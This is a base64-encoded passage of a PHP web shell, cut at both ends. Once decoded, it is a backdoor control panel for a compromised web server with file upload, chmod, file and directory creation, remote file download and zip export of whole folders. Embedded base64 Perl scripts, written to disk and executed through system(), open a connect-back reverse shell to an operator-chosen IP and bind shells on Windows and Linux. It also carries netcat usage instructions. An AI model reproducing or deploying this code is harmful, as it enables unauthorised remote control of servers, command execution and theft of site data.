2l6ZTogOXB0Ij48L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjIyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PC90cj48L3RhYmxlPic7DQp9DQplY2hvICRoZWFkLicNCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogNnB0Ij48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGZvbnQgY29sb3I9IzRhN2FmND5Ob3cgRGlyZWN0b3J5IDogJy5nZXRjd2QoKS4iPGJyPiIucHJpbnRkcml2ZSgpLic8YnI+PGEgaHJlZj0iP2RvPWJhY2smYWRkcmVzcz0nLiRiYWNrYWRkcmVzc3MuJyI+PGZvbnQgY29sb3I9IzAwMDAwMD5CYWNrPC9zcGFuPjwvdGQ+DQo8L3RyPjwvdGFibGU+Jy4kcGVybWRpci4nPC90YWJsZT4NCjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+PGJyPicuJGZvcm1nLidDaGFuZ2UgRGlyZWN0b3J5PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPlVwbG9hZCAtLS0mZ3Q7ICZuYnNwOzwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb3JtIGFjdGlvbj0iJy4kbWUuJyIgbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPicuJG5vd2FkZHJlc3MuJw0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij48aW5wdXQgc2l6ZT00MCB0eXBlPWZpbGUgbmFtZT1maWxlZSA+IA0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVVwbG9hZCAvPjxicj4nLiRpZnVwbG9hZC4nPC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NobW9kIC0tLS0mZ3Q7PC9iPiZuYnNwOyZuYnNwO0ZpbGUgOiA8L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0vbm93Mi5waHA+PGlucHV0IHNpemU9NTUgbmFtZT1jaG1vZGU+Jm5ic3A7Jm5ic3A7UGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPWNobW9kbnVtIHZhbHVlPTc3NyBzaXplPTM+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIE9rICI+PC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NyZWF0ZSBEaXIgLS0tLSZndDs8L2I+IERpcmN0b3J5IE5hbWUgPC90ZD4NCjx0ZCB3aWR0aD0iNzUwIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBuYW1lPWNkaXJuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPicuJGZvcm1wLic8Yj5DcmVhdGUgRmlsZSAtLS0tJmd0OzwvYj4gTmFtZSBGaWxlIDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGlucHV0IG5hbWU9Y2ZpbGVuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4nLiRmb3JtcC4nPGI+Q29weSAtLS0tJmd0OzwvYj48L2I+Jm5ic3A7Jm5ic3A7RmlsZSA6IDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBzaXplPTQwIG5hbWU9Y29weW5hbWU+IFRvIERpcmVjdG9yeSA8aW5wdXQgc2l6ZT00MCBuYW1lPWNweXRvPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPUNvcHk+PC9mb3JtPjwvdGQ+Jy4kZW5kO2V4aXQ7DQp9fQ0KaWYoJF9QT1NUWydhZGxyJ10gJiYgJF9QT1NUWydhZHNyJ10pew0KJHVybCA9ICRfUE9TVFsnYWRsciddOw0KJG5ld2ZuYW1lID0gJF9QT1NUWydhZHNyJ10gLiBiYXNlbmFtZSgkdXJsKTsNCiRmaWxlID0gZm9wZW4gKCR1cmwsICJyYiIpOw0KaWYgKCRmaWxlKSB7DQogICRuZXdmID0gZm9wZW4gKCRuZXdmbmFtZSwgIndiIik7DQogIGlmICgkbmV3ZikNCiAgd2hpbGUoIWZlb2YoJGZpbGUpKSB7DQogICAgZndyaXRlKCRuZXdmLCBmcmVhZCgkZmlsZSwgMTAyNCAqIDggKSwgMTAyNCAqIDggKTsNCiAgfQ0KICBhbGVydCgiRmlsZSBEb3dubG9hZGVkIFN1Y2Nlc3MiKTsNCn1lbHNle2FsZXJ0KCJDYW4gTm90IE9wZW4gRmlsZSIpO30NCmlmICgkZmlsZSkgew0KICBmY2xvc2UoJGZpbGUpOw0KfQ0KaWYgKCRuZXdmKSB7DQogIGZjbG9zZSgkbmV3Zik7DQp9DQp9DQppZigkX0dFVFsnZG8nXT09ImRvd24iIGFuZCAkX0dFVFsndHlwZSddPT0nZmlsZScpew0KZG93bmxvYWQoJF9HRVRbJ2FkZHJlc3MnXSwkX0dFVFsnZmlsZW5hbWUnXSk7fQ0KaWYoJF9HRVRbJ2RvJ109PSJkb3duIiBhbmQgJF9HRVRbJ3R5cGUnXT09J2Rpcicpew0KY2xhc3MgemlwZmlsZQ0Kew0KdmFyICRkYXRhc2VjID0gYXJyYXkoKTsgDQp2YXIgJGN0cmxfZGlyID0gYXJyYXkoKTsgDQp2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7DQp2YXIgJG9sZF9vZmZzZXQgPSAwOw0KZnVuY3Rpb24gYWRkX2RpcigkbmFtZSkNCnsNCiRuYW1lID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkbmFtZSk7DQokZnIgPSAiXHg1MFx4NGJceDAzXHgwNCI7DQokZnIgLj0gIlx4MGFceDAwIjsNCiRmciAuPSAiXHgwMFx4MDAiOw0KJGZyIC49ICJceDAwXHgwMCI7DQokZnIgLj0gIlx4MDBceDAwXHgwMFx4MDAiOw0KJGZyIC49IHBhY2soIlYiLDApOw0KJGZyIC49IHBhY2soIlYiLDApOw0KJGZyIC49IHBhY2soIlYiLDApOw0KJGZyIC49IHBhY2soInYiLCBzdHJsZW4oJG5hbWUpICk7IA0KJGZyIC49IHBhY2soInYiLCAwICk7DQokZnIgLj0gJG5hbWU7DQokZnIgLj0gcGFjaygiViIsJGNyYyk7IA0KJGZyIC49IHBhY2soIlYiLCRjX2xlbik7IA0KJGZyIC49IHBhY2soIlYiLCR1bmNfbGVuKTsNCiR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCiRuZXdfb2Zmc2V0ID0gc3RybGVuKGltcGxvZGUoIiIsICR0aGlzLT5kYXRhc2VjKSk7DQokY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQokY2RyZWMgLj0iXHgwMFx4MDAiOyANCiRjZHJlYyAuPSJceDBhXHgwMCI7IA0KJGNkcmVjIC49Ilx4MDBceDAwIjsgDQokY2RyZWMgLj0iXHgwMFx4MDAiOyANCiRjZHJlYyAuPSJceDAwXHgwMFx4MDBceDAwIjsgDQokY2RyZWMgLj0gcGFjaygiViIsMCk7IA0KJGNkcmVjIC49IHBhY2soIlYiLDApOyANCiRjZHJlYyAuPSBwYWNrKCJWIiwwKTsgDQokY2RyZWMgLj0gcGFjaygidiIsIHN0cmxlbigkbmFtZSkgKTsNCiRjZHJlYyAuPSBwYWNrKCJ2IiwgMCApOw0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGV4dCA9ICJceDAwXHgwMFx4MTBceDAwIjsNCiRleHQgPSAiXHhmZlx4ZmZceGZmXHhmZiI7DQokY2RyZWMgLj0gcGFjaygiViIsIDE2ICk7DQokY2RyZWMgLj0gcGFjaygiViIsICR0aGlzIC0+IG9sZF9vZmZzZXQgKTsNCiR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsNCiRjZHJlYyAuPSAkbmFtZTsNCiR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7DQp9DQpmdW5jdGlvbiBhZGRfZmlsZSgkZGF0YSwgJG5hbWUpDQp7DQokbmFtZSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJG5hbWUpOw0KJGZyID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KJGZyIC49ICJceDE0XHgwMCI7DQokZnIgLj0gIlx4MDBceDAwIjsNCiRmciAuPSAiXHgwOFx4MDAiOyANCiRmciAuPSAiXHgwMFx4MDBceDAwXHgwMCI7DQokdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQokY3JjID0gY3JjMzIoJGRhdGEpOw0KJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQokemRhdGEgPSBzdWJzdHIoIHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOw0KJGNfbGVuID0gc3RybGVuKCR6ZGF0YSk7DQokZnIgLj0gcGFjaygiViIsJGNyYyk7DQokZnIgLj0gcGFjaygiViIsJGNfbGVuKTsNCiRmciAuPSBwYWNrKCJWIiwkdW5jX2xlbik7DQokZnIgLj0gcGFjaygidiIsIHN0cmxlbigkbmFtZSkgKTsNCiRmciAuPSBwYWNrKCJ2IiwgMCApOw0KJGZyIC49ICRuYW1lOw0KJGZyIC49ICR6ZGF0YTsNCiRmciAuPSBwYWNrKCJWIiwkY3JjKTsNCiRmciAuPSBwYWNrKCJWIiwkY19sZW4pOyANCiRmciAuPSBwYWNrKCJWIiwkdW5jX2xlbik7IA0KJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgiIiwgJHRoaXMtPmRhdGFzZWMpKTsNCiRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCiRjZHJlYyAuPSJceDAwXHgwMCI7DQokY2RyZWMgLj0iXHgxNFx4MDAiOyANCiRjZHJlYyAuPSJceDAwXHgwMCI7DQokY2RyZWMgLj0iXHgwOFx4MDAiOw0KJGNkcmVjIC49Ilx4MDBceDAwXHgwMFx4MDAiOyANCiRjZHJlYyAuPSBwYWNrKCJWIiwkY3JjKTsgDQokY2RyZWMgLj0gcGFjaygiViIsJGNfbGVuKTsgDQokY2RyZWMgLj0gcGFjaygiViIsJHVuY19sZW4pOyANCiRjZHJlYyAuPSBwYWNrKCJ2Iiwgc3RybGVuKCRuYW1lKSApOw0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soIlYiLCAzMiApOyANCiRjZHJlYyAuPSBwYWNrKCJWIiwgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0Ow0KJGNkcmVjIC49ICRuYW1lOw0KJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCn0NCmZ1bmN0aW9uIGZpbGUoKSB7IA0KJGRhdGEgPSBpbXBsb2RlKCIiLCAkdGhpcyAtPiBkYXRhc2VjKTsNCiRjdHJsZGlyID0gaW1wbG9kZSgiIiwgJHRoaXMgLT4gY3RybF9kaXIpOw0KcmV0dXJuDQokZGF0YS4NCiRjdHJsZGlyLg0KJHRoaXMgLT4gZW9mX2N0cmxfZGlyLg0KcGFjaygidiIsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLg0KcGFjaygidiIsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLiANCnBhY2soIlYiLCBzdHJsZW4oJGN0cmxkaXIpKS4gDQpwYWNrKCJWIiwgc3RybGVuKCRkYXRhKSkuIA0KIlx4MDBceDAwIjsNCn0NCn0NCiRkbGZvbGRlcj0kX0dFVFsnYWRkcmVzcyddLiRzbGFzaC4kX0dFVFsnZGlybmFtZSddLiRzbGFzaDsNCiR6aXBmaWxlID0gbmV3IHppcGZpbGUoKTsNCmZ1bmN0aW9uIGdldF9maWxlc19mcm9tX2ZvbGRlcigkZGlyZWN0b3J5LCAkcHV0X2ludG8pIHsNCmdsb2JhbCAkemlwZmlsZTsNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkZGlyZWN0b3J5KSkgew0Kd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSkgew0KaWYgKGlzX2ZpbGUoJGRpcmVjdG9yeS4kZmlsZSkpIHsNCiRmaWxlQ29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkZGlyZWN0b3J5LiRmaWxlKTsNCiR6aXBmaWxlLT5hZGRfZmlsZSgkZmlsZUNvbnRlbnRzLCAkcHV0X2ludG8uJGZpbGUpOw0KfSBlbHNlaWYgKCRmaWxlICE9ICcuJyBhbmQgJGZpbGUgIT0gJy4uJyBhbmQgaXNfZGlyKCRkaXJlY3RvcnkuJGZpbGUpKSB7DQokemlwZmlsZS0+YWRkX2RpcigkcHV0X2ludG8uJGZpbGUuJy8nKTsNCmdldF9maWxlc19mcm9tX2ZvbGRlcigkZGlyZWN0b3J5LiRmaWxlLicvJywgJHB1dF9pbnRvLiRmaWxlLicvJyk7DQp9DQp9DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCn0NCiRkYXRlZGw9ZGF0ZSgieS1tLWQiKTsNCmdldF9maWxlc19mcm9tX2ZvbGRlcigkZGxmb2xkZXIsJycpOw0KaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gJF9HRVRbJ2Rpcm5hbWUnXS4iLSIuJGRhdGVkbC4iLnppcCIpOyAgIA0KaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2Rvd25sb2FkIik7DQpoZWFkZXIoIkNvbnRlbnQtTGVuZ3RoOiAiIC4gc3RybGVuKCR6aXBmaWxlIC0+IGZpbGUoKSkpOw0KZmx1c2goKTsNCmVjaG8gJHppcGZpbGUgLT4gZmlsZSgpOyANCiRmaWxlbmFtZSA9ICRfR0VUWydkaXJuYW1lJ10uIi0iLiRkYXRlZGwuIi56aXAiOw0KJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgIndiIik7DQokb3V0ID0gZndyaXRlICgkZmQsICR6aXBmaWxlIC0+IGZpbGUoKSk7DQpmY2xvc2UgKCRmZCk7DQp9DQppZiAoJF9SRVFVRVNUWydjZGlybmFtZSddKXsNCmlmKG1rZGlyKCRfUkVRVUVTVFsnY2Rpcm5hbWUnXSwiMDc3NyIpKXthbGVydCgiRGlyZWN0b3J5IENyZWF0ZWQgISIpO31lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fX0NCmZ1bmN0aW9uIGJjbigkaXBiYywkcGJjKXsNCiRiY3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzQ2lNZ1EyOXVibVZqZEVKaFkydFRhR1ZzYkNCcGJpQlFaWEpzTGlCVGFHRmtiM2N4TWpBZ0xTQjMNCk5HTnJNVzVuTG1OdmJRb0tkWE5sSUZOdlkydGxkRHNLQ2lSb2IzTjBJRDBnSkVGU1IxWmJNRjA3Q2lSd2IzSjBJRDBnSkVGU1IxWmINCk1WMDdDZ29nSUNBZ2FXWWdLQ0VrUVZKSFZsc3dYU2tnZXdvZ0lIQnlhVzUwWmlBaVd5RmRJRlZ6WVdkbE9pQndaWEpzSUhOamNtbHcNCmRDNXdiQ0E4U0c5emRENGdQRkJ2Y25RK1hHNGlPd29nSUdWNGFYUW9NU2s3Q24wS2NISnBiblFnSWxzclhTQkRiMjV1WldOMGFXNW4NCklIUnZJQ1JvYjNOMFhHNGlPd29rY0hKdmRDQTlJR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1RzZ0l5QlpiM1VnWTJGdUlHTm8NCllXNW5aU0IwYUdseklHbG1JRzVsWldSeklHSmxDbk52WTJ0bGRDaFRSVkpXUlZJc0lGQkdYMGxPUlZRc0lGTlBRMHRmVTFSU1JVRk4NCkxDQWtjSEp2ZENrZ2ZId2daR2xsSUNnaVd5MWRJRlZ1WVdKc1pTQjBieUJEYjI1dVpXTjBJQ0VpS1RzS2FXWWdLQ0ZqYjI1dVpXTjANCktGTkZVbFpGVWl3Z2NHRmpheUFpVTI1Qk5IZzRJaXdnTWl3Z0pIQnZjblFzSUdsdVpYUmZZWFJ2Ymlna2FHOXpkQ2twS1NCN1pHbGwNCktDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnSVNJcE8zMEtJQ0J2Y0dWdUtGTlVSRWxPTENJK0psTkZVbFpGVWlJcE93b2cNCklHOXdaVzRvVTFSRVQxVlVMQ0krSmxORlVsWkZVaUlwT3dvZ0lHOXdaVzRvVTFSRVJWSlNMQ0krSmxORlVsWkZVaUlwT3dvZ0lHVjQNClpXTWdleWN2WW1sdUwzTm9KMzBnSnkxaVlYTm9KeUF1SUNKY01DSWdlQ0EwT3c9PSI7DQokb3BiYz1mb3BlbigiYmNjLnBsIiwidyIpOw0KZndyaXRlKCRvcGJjLGJhc2U2NF9kZWNvZGUoJGJjcGVybCkpOw0KZmNsb3NlKCRvcGJjKTsNCnN5c3RlbSgicGVybCBiY2MucGwgJGlwYmMgJHBiYyIpIG9yIGRpZSgiSSBDYW4gTm90IEV4ZWN1dGUgQ29tbWFuZCBGb3IgQmFjayBDb25uZWN0IERpc2FibGVfZnVuY3Rpb25zIE9yIFNhZmUgTW9kZSIpOw0KfQ0KZnVuY3Rpb24gd2JwKCR3Yil7DQokd2JwPSJkWE5sSUZOdlkydGxkRHNLSkhCdmNuUUpQU0FrUVZKSFZsc3dYVHNLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqDQpjQ2NwT3dwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1RzS2MyVjBjMjlqDQphMjl3ZENoVFJWSldSVklzSUZOUFRGOVRUME5MUlZRc0lGTlBYMUpGVlZORlFVUkVVaXdnY0dGamF5Z2liQ0lzSURFcEtUc0tZbWx1DQpaQ2hUUlZKV1JWSXNJSE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0JKVGtGRVJGSmZRVTVaS1NrN0NteHBjM1JsYmloVFJWSldSVklzDQpJRk5QVFVGWVEwOU9UaWs3Q21admNpZzdJQ1J3WVdSa2NpQTlJR0ZqWTJWd2RDaERURWxGVGxRc0lGTkZVbFpGVWlrN0lHTnNiM05sDQpJRU5NU1VWT1ZDa0tld3B2Y0dWdUtGTlVSRWxPTENBaVBpWkRURWxGVGxRaUtUc0tiM0JsYmloVFZFUlBWVlFzSUNJK0prTk1TVVZPDQpWQ0lwT3dwdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3Q25ONWMzUmxiU2duWTIxa0xtVjRaU2NwT3dwamJHOXpaU2hUDQpWRVJKVGlrN0NtTnNiM05sS0ZOVVJFOVZWQ2s3Q21Oc2IzTmxLRk5VUkVWU1VpazdDbjBnIjsNCiRvcHdiPWZvcGVuKCJ3YnAucGwiLCJ3Iik7DQpmd3JpdGUoJG9wd2IsYmFzZTY0X2RlY29kZSgkd2JwKSk7DQpmY2xvc2UoJG9wd2IpOw0KZWNobyBnZXRjd2QoKTsNCnN5c3RlbSgicGVybCB3YnAucGwgJHdiIikgb3IgZGllKCJJIENhbiBOb3QgRXhlY3V0ZSBDb21tYW5kIEZvciBCYWNrIENvbm5lY3QgRGlzYWJsZV9mdW5jdGlvbnMgT3IgU2FmZSBNb2RlIik7DQp9DQpmdW5jdGlvbiBsYnAoJHdiKXsNCiRsYnA9Ikl5RXZkWE55TDJKcGJpOXdaWEpzQ25WelpTQlRiMk5yWlhRN0pIQnZjblE5SkVGU1IxWmJNRjA3SkhCeWIzUnZQV2RsZEhCeWIzUnYNCllubHVZVzFsS0NkMFkzQW5LVHNrWTIxa1BTSnNjR1FpT3lRd1BTUmpiV1E3YzI5amEyVjBLRk5GVWxaRlVpd2dVRVpmU1U1RlZDd2cNClUwOURTMTlUVkZKRlFVMHNJQ1J3Y205MGJ5azdjMlYwYzI5amEyOXdkQ2hUUlZKV1JWSXNJRk5QVEY5VFQwTkxSVlFzSUZOUFgxSkYNClZWTkZRVVJFVWl3Z2NHRmpheWdpYkNJc0lERXBLVHRpYVc1a0tGTkZVbFpGVWl3Z2MyOWphMkZrWkhKZmFXNG9KSEJ2Y25Rc0lFbE8NClFVUkVVbDlCVGxrcEtUdHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cE8yWnZjaWc3SUNSd1lXUmtjaUE5SUdGalkyVncNCmRDaERURWxGVGxRc0lGTkZVbFpGVWlrN0lHTnNiM05sSUVOTVNVVk9WQ2w3YjNCbGJpaFRWRVJKVGl3Z0lqNG1RMHhKUlU1VUlpazcNCmIzQmxiaWhUVkVSUFZWUXNJQ0krSmtOTVNVVk9WQ0lwTzI5d1pXNG9VMVJFUlZKU0xDQWlQaVpEVEVsRlRsUWlLVHR6ZVhOMFpXMG8NCkp5OWlhVzR2YzJnbktUdGpiRzl6WlNoVFZFUkpUaWs3WTJ4dmMyVW9VMVJFVDFWVUtUdGpiRzl6WlNoVFZFUkZVbElwTzMwZyI7DQokb3BsYj1mb3BlbigibGJwLnBsIiwidyIpOw0KZndyaXRlKCRvcGxiLGJhc2U2NF9kZWNvZGUoJGxicCkpOw0KZmNsb3NlKCRvcGxiKTsNCnN5c3RlbSgicGVybCBsYnAucGwgJHdiIikgb3IgZGllKCJJIENhbiBOb3QgRXhlY3V0ZSBDb21tYW5kIEZvciBCYWNrIENvbm5lY3QgRGlzYWJsZV9mdW5jdGlvbnMgT3IgU2FmZSBNb2RlIik7DQp9DQoNCmlmKCRfUkVRVUVTVFsncG9ydGJ3J10pew0Kd2JwKCRfUkVRVUVTVFsncG9ydGJ3J10pOw0KDQp9aWYoJF9SRVFVRVNUWydwb3J0YmwnXSl7DQpsYnAoJF9SRVFVRVNUWydwb3J0YmwnXSk7DQp9DQppZigkX1JFUVVFU1RbJ2lwY2InXSAmJiAkX1JFUVVFU1RbJ3BvcnRiYyddKXsNCmJjbigkX1JFUVVFU1RbJ2lwY2InXSwkX1JFUVVFU1RbJ3BvcnRiYyddKTsNCg0KfQ0KDQppZigkX1JFUVVFU1RbJ2RvJ109PSJiYyIpew0KZWNobyAkaGVhZC4kZm9ybXAuIjxwIGFsaWduPSdjZW50ZXInPlVzYWdlIDogUnVuIE5ldGNhdCBJbiBZb3VyIE1hY2hpbiBBbmQgRXhlY3V0ZSBUaGlzIENvbW1hbmQoIERpc2FibGUgRmlyZXdhbGwgI